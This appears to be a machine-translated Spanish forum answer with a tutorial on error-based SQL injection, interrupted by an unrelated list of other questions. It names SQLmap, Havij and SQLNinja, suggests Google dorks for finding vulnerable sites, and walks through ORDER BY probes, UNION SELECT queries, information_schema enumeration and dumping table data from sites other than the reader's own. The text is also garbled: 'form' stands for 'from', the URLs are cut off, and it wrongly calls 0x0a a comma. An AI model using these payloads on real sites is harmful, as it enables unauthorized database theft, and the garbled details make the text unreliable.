Sí, si planea probar solo que el sitio web es vulnerable o no, entonces
1- SQLmap
2- Havij
3- SQLNinja
La mejor herramienta para verificar los identificadores de sitios web vulnerables o no. pero para hacerlo debe tener algunos conocimientos básicos de la inyección sql.
- ¿Qué especialidad elegirías en la universidad si supieras que quieres ser un especialista en seguridad cibernética?
- ¿Qué es una herramienta interna en la detección dinámica de malware?
- ¿Hay especializaciones de seguridad informática?
- Cómo proteger mi archivo mientras le doy a la imprenta
- Seguridad web: ¿qué tan fácil es para alguien leer el tráfico en un navegador?
porque estas herramientas hacen lo mismo de forma automática que usted de forma manual.
Primero, quiero explicar el propósito de la inyección SQL basada en errores. No te preocupes, es muy simple.
RECUPERACIÓN DE DATOS DE LA BASE DE DATOS
Hoy en día, utilizamos principalmente la inyección de SQL para omitir el formulario de inicio de sesión u obtener acceso a un panel de administración o recuperar los datos. Cuando intentamos omitir el formulario de inicio de sesión, usamos BLIND SQL INJECTION. En este artículo, hablaré sobre la inyección SQL basada en errores.
Como su nombre indica, basado en error significa que todo se basa en los errores. En este ataque, escribiremos o enviaremos algo al servidor por URL y el servidor nos mostrará un error. Después de obtener el error, decidiremos quién será el próximo objetivo.
Primero, tenemos que encontrar el sitio web venerable basado en error SQL en Google. Vaya a Google y escriba lo siguiente:
inurl index.php? id =
inurl gallery.php id =
El siguiente objetivo es averiguar si nuestra página está hablando actualmente o si está conectada con la base de datos o no.
http://www.example.com/gallery.p…
Para encontrar esto, solo necesitamos poner una comilla simple después del número de identificación como este:
http://www.example.com/gallery.p… 6 ′
Si muestra un error y el error es un error de sintaxis SQL, entonces esta página está conectada con la base de datos y el sitio web también es vulnerable.
Lo que hace la búsqueda individual es, en realidad, la búsqueda individual rompe la consulta y la sintaxis de la consulta ha cambiado, o podríamos decir que se convirtió en la sintaxis incorrecta. Entonces, obtenemos el error Error de sintaxis SQL.
Ahora sabemos que el sitio web es vulnerable solo necesitamos encontrar todo el número de columnas. Nuevamente vamos a inyectar una consulta para obtener el error. Ahora, lo que hacemos es organizar todas las columnas en orden.
http://www.example.com/gallery.p… ordenado por 1
http://www.example.com/gallery.p… ordenado por 2
http://www.example.com/gallery.p… ordenado por 3
Haremos esto hasta que aparezca en las columnas desconocidas. Si muestra el error de columna desconocido en N, eso significa que tiene el número total de columnas N-1 porque muestra el contenido en orden por N-1.
Ahora vamos a averiguar qué columnas están conectadas a nuestra página URL actual para poder decir qué columnas son vulnerables. Técnicamente no es vulnerable. Simplemente está conectado a nuestra página URL actual.
http://www.example.com/gallery.p… union all select 1,2,3,4, N-1.
Nos muestra las columnas conectadas a la página actual porque solo podemos acceder a la base de datos por estas columnas. Muestra el número de las columnas. Si muestra 2,4, entonces 2 y 4 están conectados con nuestra página URL actual. El siguiente paso es encontrar la versión y la base de datos. Haremos esto usando cualquiera de los 2 o 4. Estamos usando 2 o 4 solo porque están conectados a la página actual.
http://www.example.com/gallery.p… union all select 1, version (), 3,4, N-1.
http://www.example.com/gallery.p… union all select 1, database (), 3,4, N-1.
Podemos encontrar otra información usando algunas cosas. Una cosa que toda persona debe tener en cuenta es: cuanta más información tenga, más poderoso será.
Si la versión de SQL es más de 5.0.0, significa que tiene el esquema. El esquema es como un índice de todas las bases de datos.
Ahora nuestro próximo paso es encontrar todos los nombres de las tablas. Para hacer esto, nuevamente inyectaremos una consulta.
http://www.example.com/gallery.p… union all select 1, group_concat (table_name), 3,4, N-1 form Information_schema.tables donde table_schema = database () –
Mostrará todos los nombres de tabla de table_schema.
Nuestro siguiente paso es encontrar todas las columnas. Use el valor char de MySQL de cualquiera de los nombres de tabla. Tome cualquier nombre de tabla y conviértalo usando la barra de hackeo en MySQL char y cópielo y péguelo en la consulta.
http://www.example.com/gallery.p… union all select 1, group_concat (column_name), 3,4, N-1 form Information_schema.columns donde table_name = mysqlchar–
Ahora que tenemos el nombre de las columnas, nuestro ataque final es obtener los datos porque tenemos el nombre de la tabla, el nombre de las columnas y el nombre de la base de datos. Table_name debería ser el mismo que usamos para mysqlchar para encontrar el nombre de las columnas.
http://www.example.com/gallery.p… union all select 1, group_concat (column_name, 0x0a), 3,4, N-1 form table_name
0x0a es el valor hexadecimal de comas (,). Separará los datos de la tabla en comas.
Espero que esta información lo ayude a tener más conocimiento en la inyección SQL basada en errores.
Gracias y Saludos cordiales